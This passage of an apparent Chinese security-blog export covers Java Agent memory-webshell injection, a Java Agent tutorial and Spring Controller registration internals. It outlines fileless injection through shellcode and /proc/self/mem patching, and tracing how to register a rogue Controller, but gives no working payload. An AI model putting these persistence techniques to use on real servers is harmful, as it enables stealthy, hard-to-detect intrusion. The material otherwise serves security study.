jnienv, JPLISAgent * agent, jobjectArray classDefinitions) { jvmtiEnv* jvmtienv = jvmti(agent); jboolean errorOccurred = JNI_FALSE; jclass classDefClass = NULL; jmethodID getDefinitionClassMethodID = NULL; jmethodID getDefinitionClassFileMethodID = NULL; jvmtiClassDefinition* classDefs = NULL; jbyteArray* targetFiles = NULL; jsize numDefs = 0; jplis_assert(classDefinitions != NULL); numDefs = (*jnienv)->GetArrayLength(jnienv, classDefinitions); errorOccurred = checkForThrowable(jnienv); jplis_assert(!errorOccurred); if (!errorOccurred) { jplis_assert(numDefs > 0); /* get method IDs for methods to call on class definitions */ classDefClass = (*jnienv)->FindClass(jnienv, "java/lang/instrument/ClassDefinition"); errorOccurred = checkForThrowable(jnienv); jplis_assert(!errorOccurred); } ...} Java_sun_instrument_InstrumentationImpl_redefineClasses0 是 redefineClasses0 的 JNI 实现,其中有四个参数: JNIEnv *jnienv:JNI 环境指针,用于与 JVM 交互。 jobject implThis:Java 对象的引用。 jlong agent:JVMTI 代理的指针,转换为 JPLISAgent 类型。它对应 long nativeAgent 参数。 jobjectArray classDefinitions:表示类定义的数组(ClassDefinition 对象数组)。它对应 ClassDefinition[] definitions 参数。 redefineClasses0 方法接下来调用 redefineClasses 方法,agent 参数被强转为 JPLISAgent 类型。JPLISAgent 结构体定义如下: 123456789101112131415161718192021struct _JPLISAgent { JavaVM * mJVM; /* handle to the JVM */ JPLISEnvironment mNormalEnvironment; /* for every thing but retransform stuff */ JPLISEnvironment mRetransformEnvironment;/* for retransform stuff only */ jobject mInstrumentationImpl; /* handle to the Instrumentation instance */ jmethodID mPremainCaller; /* method on the InstrumentationImpl that does the premain stuff (cached to save lots of lookups) */ jmethodID mAgentmainCaller; /* method on the InstrumentationImpl for agents loaded via attach mechanism */ jmethodID mTransform; /* method on the InstrumentationImpl that does the class file transform */ jboolean mRedefineAvailable; /* cached answer to "does this agent support redefine" */ jboolean mRedefineAdded; /* indicates if can_redefine_classes capability has been added */ jboolean mNativeMethodPrefixAvailable; /* cached answer to "does this agent support prefixing" */ jboolean mNativeMethodPrefixAdded; /* indicates if can_set_native_method_prefix capability has been added */ char const * mAgentClassName; /* agent class name */ char const * mOptionsString; /* -javaagent options string */};struct _JPLISEnvironment { jvmtiEnv * mJVMTIEnv; /* the JVM TI environment */ JPLISAgent * mAgent; /* corresponding agent */ jboolean mIsRetransformer; /* indicates if special environment */}; redefineClasses 的第一行代码是 jvmtiEnv* jvmtienv = jvmti(agent) , 这个 jvmti 是个宏,宏定义的意思是从 _JPLISAgent 结构体中提取成员变量 mNormalEnvironment ,再从 mNormalEnvironment 中提取 mJVMTIEnv: 1#define jvmti(a) a->mNormalEnvironment.mJVMTIEnv jvmtiEnv 提供了RedefineClasses 函数,Java Instrumentation API 的同样功能就是封装于此之上。既然如此,后面起作用的就是这个 jvmtiEnv 指针了。 jvmtiEnv 指针的获取方式如宏定义中所展示的那样,是从 _JPLISAgent 结构体中取成员属性 mNormalEnvironment ,这个 mNormalEnvironment 又是 JPLISEnvironment 类型,然后从 mNormalEnvironment 中取 mJVMTIEnv 属性。于是我们希望能够知道这个 mJVMTIEnv 属性是怎样被赋值的,也即整个 _JPLISAgent 结构体变量是如何被创建的,这样才能去尝试修改。 获取 jvmtiEnv 指针目标是修改 jvmtiEnv 指针,但是从创建 _JPLISAgent 结构体变量的方式入手不太可行,游望之师傅提到 JPLISAgent 实例是通过 native 函数 createNewJPLISAgent 创建的,但该函数是内部函数,没有从动态库中导出,Java 层也没办法直接调用。 所以思路回到获取 jvmtiEnv 指针本身。在 createNewJPLISAgent 函数中有这样一段代码: 123*agent_ptr = NULL; jnierror = (*vm)->GetEnv( vm, (void **) &jvmtienv, 其中 vm 是 JavaVM 指针,这指示了 jvmtiEnv 指针可以通过 JavaVM 对象获取。而在 JDK 的 jni.h 中,有定义 JavaVM 对象的导出方法( jni.h 是 JNI(Java Native Interface)库的头文件): 1_JNI_IMPORT_OR_EXPORT_ jint JNICALL JNI_GetCreatedJavaVMs(JavaVM **, jsize, jsize *); 该方法由 libjvm.so 导出,我们可以通过此 API 获得 JavaVM 对象,通过 JavaVM 对象就能获得 jvmtiEnv 指针。 rebeyond 师傅解释:JNI_GetCreatedJavaVMs 函数是 JVM 提供给 Java Native 开发人员用来在 Native 层获取 VM 对象的,因为是开放给开发者使用的,所以该函数是导出的。我们可以直接调用这个函数来获取 JavaVM 对象。而该函数的规矩用法是先开发一个 Java 的 dll 动态链接库,然后在 Java 代码中加载这个 dll 库,然后再调用 dll 中的方法。 但是这样会造成有文件落地,为了无文件的调用 JNI_GetCreatedJavaVMs 函数,rebeyond 师傅提出了在 Windows 系统中通过获取 JNI_GetCreatedJavaVMs 地址的方法来调用它,大致流程如下: 先获取到当前进程 kernel32.dll 的基址; 在 kernel32.dll 的输出表中,获取 GetProcessAddress 函数的地址; 调用 GetProcessAddress 获取 LoadLibraryA 函数的地址; 调用 LoadLibraryA 加载 jvm.dll 获取 jvm.dll 模块在当前进程中的基址; 调用 GerProcAddress 在 jvm.dll 中获取 JNI_GetCreatedJavaVMs 的地址; 调用 JNI_GetCreatedJavaVMs ; 还原现场,安全退出线程,优雅地离开,避免 shellcode 执行完后进程崩溃。 而在 Linux 环境下,游望之师傅也提出了获取 JNI_GetCreatedJavaVMs 地址并调用的方式: 解析 ELF ,得到 Java_java_io_RandomAccessFile_length 和 JNI_GetCreatedJavaVMs 生成利用 JNI_GetCreatedJavaVMs 获取 jvmtienv 指针的 shellcode 在 Java_java_io_RandomAccessFile_length 放置 shellcode 并调用 恢复 Java_java_io_RandomAccessFile_length 代码 后续的话就可以利用获取到的 jvmtienv 指针来构造 _JPLISAgent 结构体变量了。 总结就是利用 Linux 中的 /proc/self/mem 修改内存,将 Java 原生的 native 函数(比如 Java_java_io_RandomAccessFile_length)的地址指向的内容替换为 shellcode ,这样就可以执行 shellcode 了。执行完后再把原来的内容放回去,好一招偷天换日。不过既然可以修改内存了那其实就可以执行任意代码了。 通过这样的方式就实现了只需要通过执行代码就能注入 Agent 内存马,而不需要文件落地。我对内存和汇编还不太熟,所以后面没有具体去分析了。 JNI 介绍 JNI(Java Native Interface)Java 本地接口,又叫 Java 原生接口。它允许 Java 调用 C/C++ 的代码,同时也允许在 C/C++ 中调用 Java 的代码。 这里涉及到了 JNI 这个知识点,有空的话出一篇它的使用方法。 总结越是深入底层,能干的事情就越多。 参考文章su18 - Java Agent 内存马 枫 - Java 安全学习 —— 内存马 rebeyond - 论如何优雅的注入 Java Agent 内存马 X1r0z - Java Agent 内存马 cincly - Agent 内存马的攻防之道 游望之 - Linux 下内存马进阶植入技术","categories":["Java 安全"]},{"title":"基础篇 - Java Agent 详解","path":"/2024/10/23/Java 安全/基础篇-JavaAgent详解/","content":"Java Agent 介绍Java Agent 是一种允许开发者在 JVM 运行时通过修改类的字节码来动态增强 Java 应用程序的工具。它基于 Instrumentation 接口,可以使用 ClassFileTransformer 来拦截和修改字节码。在 Java Agent 中,Instrumentation.addTransformer() 可以用来添加一个字节码转换器,它将在类加载时对字节码进行操作。 我们平时接触到的很多地方都用到了这个 Java Agent : 各个 Java IDE 的调试功能,例如 eclipse、IntelliJ IDEA; 热部署功能,例如 JRebel、XRebel、 spring-loaded; 各种线上诊断工具,例如 Btrace、Greys,还有阿里的 Arthas; 各种性能分析工具,例如 Visual VM、JConsole 等; Java Agent 最终以 jar 包的形式存在,我们也只能以调用 jar 包的方式去调用它。 Java Agent 快速入门接下来就来实现一个简单的 Java Agent,基于 Java 1.8,主要实现两点简单的功能: 1、打印当前加载的所有类的名称; 2、监控一个特定的方法,在方法中动态插入简单的代码并获取方法返回值; 在方法中插入代码用到了字节码修改技术,字节码修改技术主要有 javassist、ASM。这个例子中用的是 javassist,所以需要引入相关的 依赖: 12345<dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.28.0-GA</version></dependency> 编写入口类和自定义转换器入口类需要实现 premain 和 agentmain 两个方法。这两个方法的运行时机不一样。这要从 Java Agent 的使用方式来说了,Java Agent 有两种启动方式,一种是以 JVM 启动参数 -javaagent:xxx.jar 的形式随着 JVM 一起启动,这种情况下,会调用 premain 方法,并且是在主进程的 main 方法之前执行。另外一种是以 loadAgent 方法动态 attach 到目标 JVM 上,这种情况下,会执行 agentmain 方法。 代码实现如下: 1234567891011121314151617181920212223242526272829303132333435363738394041package com.miaoji;import java.lang.instrument.Instrumentation;public class MyCustomAgent { /** * jvm 参数形式启动,运行此方法 * * @param agentArgs * @param inst */ public static void premain(String agentArgs, Instrumentation inst) { System.out.println("premain"); customLogic(inst); } /** * 动态 attach 方式启动,运行此方法 * * @param agentArgs * @param inst */ public static void agentmain(String agentArgs, Instrumentation inst) { System.out.println("agentmain"); customLogic(inst); } /** * 打印所有已加载的类名称 * 修改字节码 * * @param inst */ private static void customLogic(Instrumentation inst) { inst.addTransformer(new MyTransformer(), true); Class[] classes = inst.getAllLoadedClasses(); for (Class cls : classes) { System.out.println(cls.getName()); } }} 可以看到 premain 和 agentmain 两个方法都有参数 agentArgs 和 inst,其中 agentArgs 是我们启动 Java Agent 时带进来的参数,比如 -javaagent:xxx.jar [agentArgs] 。而参数 Instrumentation inst 是 Java 开放出来的专门用于字节码修改和程序监控的实现。我们要实现的打印已加载类和修改字节码也就是基于它来实现的。其中 inst.getAllLoadedClasses()一个方法就实现了获取所有已加载类的功能。 这里 inst.addTransformer() 方法是用来添加字节码转换器的,其中传入了一个自定义的转换器 MyTransformer 对象。 MyTransformer 类的定义如下: 12345678910111213141516171819202122232425262728293031323334package com.miaoji;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import java.io.ByteArrayInputStream;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain;public class MyTransformer implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { System.out.println("正在加载类:" + className); if (!"com/miaoji/Person".equals(className)) { return classfileBuffer; } CtClass cl = null; try { ClassPool classPool = ClassPool.getDefault(); cl = classPool.makeClass(new ByteArrayInputStream(classfileBuffer)); CtMethod ctMethod = cl.getDeclaredMethod("test"); System.out.println("获取方法名称:" + ctMethod.getName()); ctMethod.insertBefore("System.out.println(\\" 动态插入的打印语句 \\");"); ctMethod.insertAfter("System.out.println($_);"); byte[] transformed = cl.toBytecode(); return transformed; } catch (Exception e) { e.printStackTrace(); } return classfileBuffer; }} 以上代码的逻辑就是当碰到加载的类是 Person 的时候,在其中的 test 方法开始时插入一条打印语句,打印内容是”动态插入的打印语句”,在 test 方法结尾处,打印返回值,其中 $_ 就是返回值,这是 javassist 里特定的标示符。 编写 MANIFEST.MF 配置文件在目录 resources/META-INF/ 下创建文件名为 MANIFEST.MF 的文件,在其中加入如下的配置内容: 1234567Manifest-Version: 1.0Created-By: miaojiAgent-Class: com.miaoji.MyCustomAgentCan-Redefine-Classes: trueCan-Retransform-Classes: truePremain-Class: com.miaoji.MyCustomAgent 设置打包方式Java Agent 是以 jar 包的形式存在,所以最后一步就是将上面的内容打到一个 jar 包里。 在 pom 文件中加入以下配置: 12345678910111213141516<build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-assembly-plugin</artifactId> <configuration> <archive> <manifestFile>C:\\Users\\miaoj\\Documents\\Java安全代码实验\\JavaAgentTest\\src\\main\\resources\\META-INF\\MANIFEST.MF</manifestFile> </archive> <descriptorRefs> <descriptorRef>jar-with-dependencies</descriptorRef> </descriptorRefs> </configuration> </plugin> </plugins> </build> 用 manifestFile 标签指定 MANIFEST.MF 所在路径,指定打包方式为包含依赖的 jar 包:jar-with-dependencies 。 然后运行如下命令即可打包: 1mvn assembly:assembly 打包成功后会在 target 目录下生成对应的 jar 包。 编写测试类我们先编写一个测试类,这个测试类的逻辑就是循环不断地读取键盘输入,并在输入数字 1 的时候,调用 person.test() 方法: 123456789101112131415import java.util.Scanner;public class RunJvm { public static void main(String[] args){ System.out.println("按数字键 1 调用测试方法"); while (true) { Scanner reader = new Scanner(System.in); int number = reader.nextInt(); if(number==1){ Person person = new Person(); person.test(); } } }} 以及定义一个 Person 类: 123456public class Person { public String test(){ System.out.println("执行测试方法"); return "I'm ok"; }} 命令行方式运行1java -javaagent:"C:\\Users\\miaoj\\Documents\\Java安全代码实验\\JavaAgentTest\\target\\JavaAgentTest-1.0-SNAPSHOT-jar-with-dependencies.jar" -cp target/classes com.miaoji.RunJvm 输出结果: 可以看到在最开始首先执行了 premain 方法打印了 “premain” ,中间输出了很多被加载的类,在 RunJvm main 方法的前后执行了自定义转换器 MyTransformer 中的 javassist 操作。 动态 attach 方式运行这是另一种运行方式,在项目运行过程中运行 Java Agent ,这会触发 agentmain 方法。 用下面的代码去实现: 12345678910111213141516171819202122232425package com.miaoji;import com.sun.tools.attach.*;import java.io.IOException;import java.util.List;public class AttachAgent { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { // 调用 VirtualMachine.list() 获取正在运行的 JVM 列表 List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list) { // 遍历每一个正在运行的 JVM ,如果 JVM 名称为 RunJvm 则连接该 JVM 并加载特定 Agent if (vmd.displayName().equals("com.miaoji.RunJvm")) { // 连接指定 JVM VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); // 加载 Agent virtualMachine.loadAgent("C:\\\\Users\\\\miaoj\\\\Documents\\\\Java安全代码实验\\\\JavaAgentTest\\\\target\\\\JavaAgentTest-1.0-SNAPSHOT-jar-with-dependencies.jar"); // 断开 JVM 连接 virtualMachine.detach(); } } }} 其中用到的 com.sun.tools.attach.VirtualMachine 类需要 tools.jar 依赖,IDEA 默认不会导入,我们需要手动导入: 导入完成后,就可以开始了。 先运行 RunJvm 主函数,接着运行 AttachAgent ,回到 RunJvm 运行结果下面输入 1 ,便可以触发相同的效果了: Java Agent 基本使用流程总结 创建 Java Agent 类: 定义一个类,包含 premain 方法(静态加载)和/或 agentmain 方法(动态加载)。 这些方法是 Java Agent 的入口,用来接收传递的参数和 Instrumentation 对象。 实现字节码转换: 使用 Instrumentation 接口注册字节码转换器,通过 ClassFileTransformer 实现类加载时修改字节码的逻辑。 配置 MANIFEST.MF 文件: 在 JAR 包的 META-INF/ 目录下的 MANIFEST.MF 文件中,添加 Premain-Class(静态加载)或 Agent-Class(动态加载)条目,指明 Java Agent 的入口类。 打包 Java Agent: 将 Java Agent 类及其依赖打包为 JAR 文件,确保 MANIFEST.MF 文件配置正确。 加载 Java Agent: 静态加载:在 JVM 启动时,通过 -javaagent 参数指定 Java Agent 的 JAR 文件。 动态加载:使用 Attach API,附加到已经运行的 JVM 进程,动态加载 Java Agent。 Java Agent 知识汇总常用类Instrumentationjava.lang.instrument.Instrumentation 是 Java Agent 的核心接口,允许 Java Agent 操作类定义,修改字节码等。它提供了操作类和监控 JVM 的各种方法。它是 premain 和 agentmain 方法的参数。 常用方法: void addTransformer(ClassFileTransformer transformer):添加一个类文件转换器,在类加载时进行字节码修改。 void redefineClasses(ClassDefinition... definitions):允许重新定义(redefine)已经加载的类,直接用新的字节码替换现有类定义,而不会触发类的重新加载。不能改变原类的签名、父类、接口,且字段、方法的结构也必须保持一致,但可以修改方法体的具体实现。 void retransformClasses(Class<?>... classes):允许对类进行重新转换,但它会触发类加载器重新加载。同样不能改变类的结构(例如类的签名、字段、接口、父类等),但可以修改方法体的具体实现。 Class[] getAllLoadedClasses():获取 JVM 中加载的所有类。 long getObjectSize(Object object):获取某个对象的大小。 boolean isModifiableClass(Class<?> theClass):检查一个类是否可以修改。 ClassFileTransformerjava.lang.instrument.ClassFileTransformer 是用于在类加载时转换字节码的接口。通过实现这个接口,Agent 可以在类加载时对字节码进行修改。前面的自定义转换器就继承了这个类并重写了 transform 方法。 常用方法: byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer):这个方法在类加载时调用,允许你对类的字节码进行修改,返回修改后的字节码。 VirtualMachinecom.sun.tools.attach.VirtualMachine 是 Java Attach API 的核心类,允许 Java Agent 动态附加到正在运行的 JVM 上。 常用方法: static VirtualMachine attach(String pid):根据 JVM 进程 ID,附加到运行中的 JVM。 void loadAgent(String agentJar):加载 Java Agent JAR 文件到已附加的 JVM。 void detach():从目标 JVM 分离。 ClassDefinitionjava.lang.instrument.ClassDefinition 类用于定义要重新加载的类。 常用方法: ClassDefinition(Class<?> theClass, byte[] theClassFile):构造一个类定义,指定要重新加载的类和它的字节码。 常用方法premain 方法 这是 Java Agent 在 JVM 启动时的入口方法,类似于 main 方法。 方法签名: 1public static void premain(String agentArgs, Instrumentation inst); agentArgs:传递给 Agent 的参数,可以是命令行参数等。 inst:Instrumentation 对象,提供修改类字节码、获取类信息等功能。 示例: 123public static void premain(String agentArgs, Instrumentation inst) { inst.addTransformer(new MyTransformer());} agentmain 方法 用于在 JVM 运行时动态加载 Agent,使用 Attach API 时调用。 方法签名: 1public static void agentmain(String agentArgs, Instrumentation inst); 类似 premain,agentmain 方法在 JVM 运行时动态调用,允许你动态加载 Agent。 transform 方法 这是 ClassFileTransformer 接口中的方法,用于修改类字节码。 方法签名: 12public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException; classfileBuffer:类的字节码,可以通过修改这个字节数组来改变类的行为。 执行流程Java Agent 的执行流程简要为: 启动方式: 静态:JVM 启动时,调用 premain(String agentArgs, Instrumentation inst)。 动态:JVM 运行时,调用 agentmain(String agentArgs, Instrumentation inst)。 注册类文件转换器: 在 premain 或 agentmain 方法中,使用 Instrumentation#addTransformer 注册 ClassFileTransformer。 类文件转换器执行: 当类加载时,ClassFileTransformer 的 transform 方法被调用,修改类的字节码。 已加载类的操作:- 使用 retransformClasses 或 redefineClasses 修改已加载类的字节码(遵循类的结构限制)。 参考文章Java Agent 使用详解 Java 安全学习 —— 内存马","categories":["Java 安全"]},{"title":"漏洞篇 - Spring 内存马","path":"/2024/10/21/Java 安全/漏洞篇-Spring内存马/","content":"Spring 概念总结本节的前置知识是 Spring、SpringBoot、SpringMVC 。这里总结一下基本问题: Spring FrameworkSpring 是一个全功能的 Java 应用开发框架,提供核心容器功能、AOP、数据访问等模块。 IoC(控制反转)容器:对 Java 对象的控制权由用户转移到 Spring IOC 容器,通过依赖注入(DI)管理对象的创建和依赖关系。 AOP(面向切面编程):通过定义通知无侵入式的对切入点方法进行功能增强。 事务管理:提供声明式和编程式事务管理,支持数据库事务和其他资源的管理。 DAO 支持:整合 JDBC、Hibernate、JPA 等数据访问框架。 Context:ApplicationContext 作为核心容器,管理 Bean 的生命周期和依赖注入。 Spring 常用注解 @Component:通用的组件注解,表明一个类会被 Spring IoC 容器管理。 @Service:标注服务层的组件,具有 @Component 的功能,但语义更清晰,通常用于业务逻辑层。 @Repository:用于标注数据访问层的组件,具备 @Component 的功能,并且附带数据库操作相关的功能(如异常转换)。 @Controller:用于标注控制层的组件,通常与 Spring MVC 一起使用。 @Autowired:自动装配 Bean,可以通过构造方法、字段、setter 方法进行注入。 @Qualifier:与 @Autowired 结合使用,指定注入的具体实现类。 @Primary:当有多个候选 Bean 时,优先选择标注了该注解的 Bean 进行注入。 @Scope:定义 Bean 的作用域,常见的有 singleton(默认)和 prototype。 @PostConstruct 和 @PreDestroy:用于标注 Bean 初始化和销毁时的操作。 SpringMVCSpringMVC 是 Spring 框架的一个子项目,专注于构建基于 Web 的应用。 Controller:处理 HTTP 请求的核心组件。@Controller 注解用于定义控制器类,方法通过 @RequestMapping 或 @GetMapping、@PostMapping 等映射 URL。 Model:传递到视图层的数据对象。通常在控制器方法中使用 Model 或 ModelAndView 来包装数据。 View Resolver(视图解析器):解析控制器返回的逻辑视图名称,将其映射到具体的视图(如 JSP、Thymeleaf)。 Interceptor(拦截器):类似于过滤器,但更灵活,可以在请求到达控制器之前或之后进行拦截处理,如验证、日志记录等。通过实现 HandlerInterceptor 接口并配置到 SpringMVC 的配置文件中。 Data Binding & Validation:支持将 HTTP 请求参数绑定到 Java 对象中,并且支持 JSR-303/JSR-380 注解进行数据校验(如 @Valid、@NotNull 等)。 SpringMVC 常用注解 @Controller:标识控制器,Spring MVC 会自动扫描带有该注解的类,将其作为请求处理器。 @RequestMapping:用于映射 URL 到指定的控制器方法或类,支持 GET、POST 等 HTTP 请求。 @GetMapping、**@PostMapping、@PutMapping、@DeleteMapping**:分别对应 HTTP 的四种常用请求方式,简化了 @RequestMapping 的使用。 @RequestParam:用于绑定请求参数到方法的参数。 @PathVariable:将 URL 中的路径参数绑定到方法参数。 @ModelAttribute:用于将表单数据绑定到模型对象,或在控制器方法执行之前预先填充模型。 @RequestBody:将请求体中的 JSON 数据转换为 Java 对象。 @ResponseBody:将方法的返回值作为 HTTP 响应体返回,而不是跳转到页面。 @RestController:组合注解,等同于 @Controller 和 @ResponseBody,用于构建 RESTful API。 @ExceptionHandler:用于处理控制器中的异常。 Spring BootSpring Boot 是基于 Spring 框架的快速开发框架,简化了配置,提供开箱即用的开发体验。 Auto Configuration(自动配置):Spring Boot 的核心特性,自动配置常用组件,如数据库、MVC、消息队列等,避免繁琐的 XML 配置。 Starter:Spring Boot 提供各种 Starter 依赖(如 spring-boot-starter-web、spring-boot-starter-data-jpa),可以轻松集成常见的功能模块。 Embedded Server(嵌入式服务器):Spring Boot 提供了嵌入式服务器(如 Tomcat、Jetty),开发时无需手动部署到外部服务器。 SpringApplication:启动 Spring Boot 应用的入口类,常见于 main 方法中调用 SpringApplication.run() 来启动应用。 Actuator:用于监控和管理 Spring Boot 应用的模块,提供诸如健康检查、性能指标、应用信息等接口。 CommandLineRunner & ApplicationRunner:提供在 Spring Boot 应用启动后执行的逻辑,常用于初始化工作。 SpringBoot 常用注解 @SpringBootApplication:组合注解,等同于 @Configuration、@EnableAutoConfiguration 和 @ComponentScan。用于标注启动类,开启自动配置和组件扫描。 @EnableAutoConfiguration:让 Spring Boot 根据依赖自动配置 Spring 应用上下文。 @Configuration:定义配置类,等同于 XML 中的 <beans> 配置。 @Bean:定义一个 Bean,方法返回值会被注册到 Spring 容器中。 @Conditional:根据条件(如类存在、环境变量等)来决定是否创建某个 Bean。 @EnableConfigurationProperties:启用配置属性,通常与 @ConfigurationProperties 配合使用。 @ConfigurationProperties:用于将配置文件(如 application.properties)中的属性映射到类上。 @RestController:用于创建 RESTful API,自动将返回值作为响应体返回。 @SpringBootTest:用于 Spring Boot 项目中的测试,加载整个应用程序的上下文。 常用的 Context ApplicationContext:Spring 的核心接口,提供 Bean 的管理、依赖注入、生命周期管理等功能。常用的实现类包括: ClassPathXmlApplicationContext:基于类路径下的 XML 文件进行配置。 AnnotationConfigApplicationContext:基于 Java 注解进行配置。 WebApplicationContext:专门为 Web 应用设计的上下文,Spring MVC 项目中通常会用到。 ServletContext:代表整个 Web 应用程序的上下文,生命周期由 Web 容器管理,Spring 会与其整合以提供更多服务。 特点总结 Spring:提供 IoC 和 AOP 的功能,核心是解耦组件,管理 Bean 的生命周期,提供事务管理等。 Spring MVC:专注于 Web 层,处理 HTTP 请求和响应,遵循 MVC 模式,便于构建 Web 应用程序。 Spring Boot:提供自动化配置,简化了 Spring 应用的配置过程,尤其适合快速开发和微服务架构。 Spring 内存马依赖导入Spring 的 Controller 型和 Interceptor 型内存马都需要 SpringMVC 的依赖: 12345<dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>5.2.10.RELEASE</version></dependency> Controller 型Controller 注册流程SpringMVC 初始化时,在每个容器的 bean 构造方法、属性设置之后,将会使用 InitializingBean 的 afterPropertiesSet 方法进行 Bean 的初始化操作,其中实现类 RequestMappingHandlerMapping 用来处理具有 @Controller 注解类中的方法级别的 @RequestMapping 以及 RequestMappingInfo 实例的创建。看一下具体的是怎么创建的。 RequestMappingHandlerMapping 的 afterPropertiesSet 方法初始化了 RequestMappingInfo.BuilderConfiguration 这个配置类,然后调用了其父类 AbstractHandlerMethodMapping 的 afterPropertiesSet 方法: 其父类 AbstractHandlerMethodMapping 的 afterPropertiesSet 方法调用了 initHandlerMethods 方法,首先获取了 Spring 中注册的 Bean,然后循环遍历,调用 processCandidateBean 方法处理 Bean: processCandidateBean 方法获取指定 bean 的类型,如果标识为处理程序类型(Handler),则调用 detectHandlerMethods 方法处理: 而在实现类 RequestMappingHandlerMapping 中,isHandler 方法用来判断当前类是否带有 @Controller 或 @RequestMapping 注解: detectHandlerMethods(Object handler) 方法的主要作用是从指定的处理器(通常是一个控制器类)中检测所有的处理方法,并注册这些方法,以便 HandlerMapping 之后能够根据请求找到合适的处理方法: 第一步获取了指定类的 Class 对象 接着使用 MethodIntrospector.selectMethods() 通过反射扫描类中的所有方法,过滤出有请求映射的处理方法。 用 getMappingForMethod 为每个方法获取其请求映射信息(例如 @RequestMapping 注解中定义的 URL、HTTP 方法、请求参数等)。 最后通过 registerHandlerMethod() 将这些方法(method)与其对应的请求映射(mapping)注册到 SpringMVC 的处理机制中。 在实现类 RequestMappingHandlerMapping 中,getMappingForMethod 方法会返回一个 RequestMappingInfo 对象,这个对象包含了 RequestMapping 的基本信息: 而 registerHandlerMethod() 方法是调用了内部类 MappingRegistry 的 register 方法: 跟进这个 register 方法,其实就是完成了一些数据的封装、属性的赋值: 主要有这些属性: 以上就是 Controller 的注册流程。总结一下: 接口 InitializingBean#afterPropertiesSet() 用来实现 bean 的初始化,RequestMappingHandlerMapping 是它的实现类 123456789RequestMappingHandlerMapping#afterPropertiesSet()AbstractHandlerMethodMapping#afterPropertiesSet()AbstractHandlerMethodMapping#initHandlerMethods()AbstractHandlerMethodMapping#processCandidateBean(String)\t-> RequestMappingHandlerMapping#isHandler(Class<?>) # 判断当前类是否带有 @Controller 或 @RequestMapping 注解\t-> AbstractHandlerMethodMapping#detectHandlerMethods(Object) -> RequestMappingHandlerMapping#getMappingForMethod(Method, Class<?>) # 获取注解相关信息 -> AbstractHandlerMethodMapping#registerHandlerMethod(Object, Method, T) AbstractHandlerMethodMapping$MappingRegistry#register(T, Object, Method) # 注册注解相关信息 Controller 查找原理当发送一次请求,SpringMVC 是如何去查找到对应的 Controller 来处理的呢? 在 SpringMVC 的请求流程中,DispatcherServlet 收到请求后会通过 HandlerMapping 查找与请求路径匹配的处理器 Handler,然后交给 Handler 处理,这个 Handler 通常是一个 Controller : 我们重点关注 AbstractHandlerMethodMapping 的 lookupHandlerMethod 方法,而在那之前的调用逻辑如下: 前面有一部分是 Tomcat 的逻辑,我们仅关注 DispatcherServlet 之后的部分。 AbstractHandlerMethodMapping 的 lookupHandlerMethod 方法做了以下几件事: 它首先从 mappingRegistry 中尝试获取直接匹配 lookupPath 的方法映射。 如果找到,调用 addMatchingMappings 方法,将匹配项添加到 matches 列表中。 如果没有找到直接匹配项,继续遍历所有映射,寻找可能的匹配。 如果找到多个匹配项,会根据自定义比较器对匹配项进行排序,并选择最佳匹配。 如果请求为预检请求(CORS 请求),则返回预检处理结果。 如果匹配项存在冲突(多个方法同等匹配),会抛出异常。 最终,将最佳匹配的处理方法返回,并在请求中设置该匹配的处理方法;如果没有匹配项,调用 handleNoMatch 处理无匹配的情况。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657@Nullableprotected HandlerMethod lookupHandlerMethod(String lookupPath, HttpServletRequest request) throws Exception { List<Match> matches = new ArrayList<>(); // 1. 从映射注册表中获取与 lookupPath 直接匹配的映射(如果存在) List<T> directPathMatches = this.mappingRegistry.getMappingsByUrl(lookupPath); if (directPathMatches != null) { // 2. 如果找到了直接匹配的映射,尝试将这些映射添加到匹配列表中 addMatchingMappings(directPathMatches, matches, request); } // 3. 如果没有找到直接匹配的映射,则需要遍历所有映射,尝试找到匹配项 if (matches.isEmpty()) { addMatchingMappings(this.mappingRegistry.getMappings().keySet(), matches, request); } // 4. 如果找到至少一个匹配项 if (!matches.isEmpty()) { Match bestMatch = matches.get(0); // 5. 如果找到多个匹配项,使用比较器对匹配项进行排序,并选择最佳匹配 if (matches.size() > 1) { Comparator<Match> comparator = new MatchComparator(getMappingComparator(request)); matches.sort(comparator); bestMatch = matches.get(0); if (logger.isTraceEnabled()) { logger.trace(matches.size() + " matching mappings: " + matches); } // 6. 如果请求是 CORS 预检请求,返回预检处理结果 if (CorsUtils.isPreFlightRequest(request)) { return PREFLIGHT_AMBIGUOUS_MATCH; } // 7. 检查是否有多个完全相同的最佳匹配项,如果有则抛出异常 Match secondBestMatch = matches.get(1); if (comparator.compare(bestMatch, secondBestMatch) == 0) { Method m1 = bestMatch.handlerMethod.getMethod(); Method m2 = secondBestMatch.handlerMethod.getMethod(); String uri = request.getRequestURI(); throw new IllegalStateException( "Ambiguous handler methods mapped for '" + uri + "': {" + m1 + ", " + m2 + "}"); } } // 8. 设置最佳匹配项并处理匹配 request.setAttribute(BEST_MATCHING_HANDLER_ATTRIBUTE, bestMatch.handlerMethod); handleMatch(bestMatch.mapping, lookupPath, request); // 9. 返回最佳匹配的处理方法 return bestMatch.handlerMethod; } else { // 10. 如果没有找到匹配项,调用 handleNoMatch 方法处理 return handleNoMatch(this.mappingRegistry.getMappings().keySet(), lookupPath, request); }} 成功找到了请求路径对应的 Controller 之后,就会去调用它,调用逻辑如下,就不具体分析了: Controller 动态注册其实就是调用 AbstractHandlerMethodMapping 内部类 MappingRegistry#register(T, Object, Method) 方法来将 Controller 相关的信息注册进去。 可以调试起来看执行到这个方法时它的参数是什么,而我们要做的就是模仿。 AbstractHandlerMethodMapping$MappingRegistry#register(T, Object, Method): 